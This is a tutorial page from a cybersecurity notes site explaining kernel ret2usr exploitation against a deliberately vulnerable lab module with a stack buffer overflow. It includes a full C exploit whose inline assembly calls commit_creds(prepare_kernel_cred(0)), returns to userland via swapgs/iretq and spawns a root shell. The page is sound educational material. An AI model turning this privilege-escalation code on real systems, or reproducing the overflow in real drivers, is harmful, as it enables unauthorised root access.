Cybersecurity Notes
MathematicsCryptography
  • Cybersecurity Notes
  • Binary Exploitation
    • Stack
      • Introduction
      • ret2win
      • De Bruijn Sequences
      • Shellcode
      • NOPs
      • 32- vs 64-bit
      • No eXecute
      • Return-Oriented Programming
        • Calling Conventions
        • Gadgets
        • Exploiting Calling Conventions
        • ret2libc
        • Stack Alignment
      • Format String Bug
      • Stack Canaries
      • PIE
        • Pwntools, PIE and ROP
        • PIE Bypass with Given Leak
        • PIE Bypass
      • ASLR
        • ASLR Bypass with Given Leak
        • PLT and GOT
        • ret2plt ASLR bypass
      • GOT Overwrite
        • Exploiting a GOT overwrite
      • RELRO
      • Reliable Shellcode
        • ROP and Shellcode
        • Using RSP
        • ret2reg
          • Using ret2reg
      • One Gadgets and Malloc Hook
      • Syscalls
        • Exploitation with Syscalls
        • Sigreturn-Oriented Programming (SROP)
          • Using SROP
      • ret2dlresolve
        • Exploitation
      • ret2csu
        • Exploitation
        • CSU Hardening
      • Exploiting over Sockets
        • Exploit
        • Socat
      • Forking Processes
      • Stack Pivoting
        • Exploitation
          • pop rsp
          • leave
    • Heap
      • Introduction to the Heap
      • Chunks
      • Freeing Chunks and the Bins
        • Operations of the Fastbin
        • Operations of the Other Bins
      • Malloc State
      • malloc_consolidate()
      • Heap Overflow
        • heap0
        • heap1
      • Use-After-Free
      • Double-Free
        • Double-Free Protections
        • Double-Free Exploit
      • Unlink Exploit
      • The Tcache
        • Tcache: calloc()
        • Tcache Poisoning
      • Tcache Keys
      • Safe Linking
    • Kernel
      • Introduction
      • Writing a Char Module
        • An Interactive Char Driver
        • Interactivity with IOCTL
      • A Basic Kernel Interaction Challenge
      • Compiling, Customising and booting the Kernel
      • Double-Fetch
        • Double-Fetch without Sleep
      • The Ultimate Aim of Kernel Exploitation - Process Credentials
      • Kernel ROP - ret2usr
      • Debugging a Kernel Module
      • SMEP
        • Kernel ROP - Disabling SMEP
        • Kernel ROP - Privilege Escalation in Kernel Space
      • SMAP
      • modprobe_path
      • KASLR
      • KPTI
    • Browser Exploitation
      • *CTF 2019 - oob-v8
        • The Challenge
      • picoCTF 2021 - Kit Engine
      • picoCTF 2021 - Download Horsepower
  • Reverse Engineering
    • Strings in C++
    • C++ Decompilation Tricks
    • Reverse Engineering ARM
  • Blockchain
    • An Introduction to Blockchain
  • Smart Contracts and Solidity
  • Hosting a Testnet and Deploying a Contract
  • Interacting with Python
  • Writeups
    • Hack The Box
      • Linux Machines
        • Easy
          • Traceback
        • Medium
          • Magic
          • UpDown
        • Hard
          • Intense
      • Challenges
        • Web
          • Looking Glass
          • Sanitize
          • Baby Auth
          • Baby Website Rick
        • Pwn
          • Dream Diary: Chapter 1
            • Unlink Exploit
            • Chunk Overlap
          • Ropme
    • picoGym
      • Cryptography
        • Mod 26
        • Mind Your Ps and Qs
        • Easy Peasy
        • The Numbers
        • New Caesar
        • Mini RSA
        • Dachshund Attacks
        • No Padding, No Problem
        • Easy1
        • 13
        • Caesar
        • Pixelated
        • Basic-Mod1
        • Basic-Mod2
        • Credstuff
        • morse-code
        • rail-fence
        • Substitution0
        • Substitution1
        • Substitution2
        • Transposition-Trial
        • Vigenere
        • HideToSee
    • CTFs
      • Fword CTF 2020
        • Binary Exploitation
          • Molotov
        • Reversing
          • XO
      • X-MAS CTF 2020
        • Pwn
          • Do I Know You?
          • Naughty
        • Web
          • PHP Master
      • HTB CyberSanta 2021
        • Crypto
          • Common Mistake
          • Missing Reindeer
          • Xmas Spirit
          • Meet Me Halfway
  • Miscellaneous
    • pwntools
      • Introduction
      • Processes and Communication
      • Logging and Context
      • Packing
      • ELF
      • ROP
    • scanf Bypasses
    • Challenges in Containers
    • Using Z3
    • Cross-Compiling for arm32
Powered by GitBook
On this page
  • Introduction
  • Vulnerable Module
  • Exploitation
  • Assembly to escalate privileges
  • Overflow
  • Returning to userland
  • Understanding the restoration
  • Final Exploit

Was this helpful?

Export as PDF
  1. Binary Exploitation
  2. Kernel

Kernel ROP - ret2usr

ROPpety boppety, but now in the kernel

Last updated 11 months ago

Was this helpful?

Introduction

By and large, the principle of userland ROP holds strong in the kernel. We still want to overwrite the return pointer, the only question is where.

The most basic of examples is the ret2usr technique, which is analogous to ret2shellcode - we write our own assembly that calls commit_creds(prepare_kernel_cred(0)), and overwrite the return pointer to point there.

Vulnerable Module

Note that the kernel version here is 6.1, due to some added protections we will come to later.

The relevant code is here:

static ssize_t rop_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
    char buffer[0x20];

    printk(KERN_INFO "Testing...");
    memcpy(buffer, buf, 0x100);

    printk(KERN_INFO "Yes? %s", buffer);

    return 0;
}

As we can see, it's a size 0x100 memcpy into an 0x20 buffer. Not the hardest thing in the world to spot. The second printk call here is so that buffer is used somewhere, otherwise it's just optimised out by make and the entire function just becomes xor eax, eax; ret!

Exploitation

Assembly to escalate privileges

For obvious reasons, you require root permissions to read this file!

~ # cat /proc/kallsyms | grep cred
[...]
ffffffff81066e00 T commit_creds
ffffffff81066fa0 T prepare_kernel_cred
[...]

Now we know the locations of the two important functions: After that, the assembly is pretty simple. First we call prepare_kernel_cred(0):

xor    rdi, rdi
mov    rcx, 0xffffffff81066fa0
call   rcx

Then we call commit_creds() on the result (which is stored in RAX):

mov    rdi, rax
mov    rcx, 0xffffffff81066e00
call   rcx

We can throw this directly into the C code using inline assembly:

void escalate() {
    __asm__(
        ".intel_syntax noprefix;"
        "xor rdi, rdi;"
        "movabs rcx, 0xffffffff81066fa0;"   // prepare_kernel_cred
	"call rcx;"
        
        "mov rdi, rax;"
	"movabs rcx, 0xffffffff81066e00;"   // commit_creds
	"call rcx;"
    );
}

Overflow

The next step is overflowing. The 7th qword overwrites RIP:

// overflow
uint64_t payload[7];

payload[6] = (uint64_t) escalate;

write(fd, payload, 0);

Finally, we create a get_shell() function we call at the end, once we've escalated privileges:

void get_shell() {
    system("/bin/sh");
}

int main() {
    // [ everything else ]
    
    get_shell();
}

Returning to userland

If we run what we have so far, we fail and the kernel panics. Why is this?

What we have to do is force the kernel to swap back to user mode. The way we do this is by saving the initial userland register state from the start of the program execution, then once we have escalate privileges in kernel mode, we restore the registers to swap to user mode. This reverts execution to the exact state it was before we ever entered kernel mode!

We can store them as follows:

uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rsp;
uint64_t user_rflags

void save_state() {
    puts("[*] Saving state");

    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );

    puts("[+] Saved state");
}

The CS, SS, RSP and RFLAGS registers are stored in 64-bit values within the program. To restore them, we append extra assembly instructions in escalate() for after the privileges are acquired:

uint64_t user_rip = (uint64_t) get_shell;

void escalate() {
    __asm__(
        ".intel_syntax noprefix;"
        "xor rdi, rdi;"
        "movabs rcx, 0xffffffff81066fa0;"   // prepare_kernel_cred
	"call rcx;"
        
        "mov rdi, rax;"
	"movabs rcx, 0xffffffff81066e00;"   // commit_creds
	"call rcx;"

        // restore all the registers
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_rsp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}

Here the GS, CS, SS, RSP and RFLAGS registers are restored to bring us back to user mode (GS via the swapgs instruction). The RIP register is updated to point to get_shell and pop a shell.

If we compile it statically and load it into the initramfs.cpio, notice that our privileges are elevated!

$ gcc -static -o exploit exploit.c
[...]
$ ./run.sh
~ $ ./exploit 
[*] Saving state
[+] Saved state
FD: 3
[*] Returned to userland
~ # id
uid=0(root) gid=0(root)

We have successfully exploited a ret2usr!

Understanding the restoration

    • Has to swap back to user space

  • SS - Stack Segment

    • Defines where the stack is stored

    • Must be reverted back to the userland stack

  • RSP

    • Same as above, really

  • CS - Code Segment

    • Defines the memory location that instructions are stored in

    • Must point to our user space code

Returns program control from an exception or interrupt handler to a program or procedure that was interrupted by an exception, an external interrupt, or a software-generated interrupt. These instructions are also used to perform a return from a nested task. (A nested task is created when a CALL instruction is used to initiate a task switch or when an interrupt or exception causes a task switch to an interrupt or exception handler.)

[...]

During this operation, the processor pops the return instruction pointer, return code segment selector, and EFLAGS image from the stack to the EIP, CS, and EFLAGS registers, respectively, and then resumes execution of the interrupted program or procedure.

As we can see, it pops all the registers off the stack, which is why we push the saved values in that specific order. It may be possible to restore them sequentially without this instruction, but that increases the likelihood of things going wrong as one restoration may have an adverse effect on the following - much better to just use iretq.

Final Exploit

The final version

// gcc -static -o exploit exploit.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>

void get_shell(void){
    puts("[*] Returned to userland");
    system("/bin/sh");
}

uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rsp;
uint64_t user_rflags;

uint64_t user_rip = (uint64_t) get_shell;

void save_state(){
    puts("[*] Saving state");

    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );

    puts("[+] Saved state");
}

void escalate() {
    __asm__(
        ".intel_syntax noprefix;"
        "xor rdi, rdi;"
        "movabs rcx, 0xffffffff81066fa0;"   // prepare_kernel_cred
	    "call rcx;"
        
        "mov rdi, rax;"
	    "movabs rcx, 0xffffffff81066e00;"   // commit_creds
	    "call rcx;"

        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_rsp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}

int main() {
    save_state();

    // communicate with the module
    int fd = open("/dev/kernel_rop", O_RDWR);
    printf("FD: %d\n", fd);

    // overflow
    uint64_t payload[7];

    payload[6] = (uint64_t) escalate;

    write(fd, payload, 0);
}

Firstly, we want to find the location of prepare_kernel_cred() and commit_creds(). We can do this by reading /proc/kallsyms, a file that contains all of the kernel symbols and their locations (including those of our kernel modules!). This will remain constant, as we have disabled .

The reason is that once the kernel executes commit_creds(), it doesn't return back to user space - instead it'll pop the next junk off the stack, which causes the kernel to crash and panic! You can see this happening while you debug (which ).

How exactly does the above assembly code restore registers, and why does it return us to user space? To understand this, we have to know what do. The switch to kernel mode is best explained by , or .

. The (model-specific registers); at the entry to a kernel-space routine, swapgs enables the process to obtain a pointer to kernel data structures.

RFLAGS -

GS is changed back via the swapgs instruction. All others are changed back via , the QWORD variant of the iret family of intel instructions. The intent behind iretq is to be the way to return from exceptions, and it is specifically designed for this purpose, as seen in Vol. 2A 3-541 of the :

KASLR
we'll cover soon
all of the registers
a literal StackOverflow post
another one
GS - limited segmentation
contents of the GS register are swapped one of the MSRs
various things
iretq
Intel Software Developer’s Manual
4MB
rop_ret2usr.zip
archive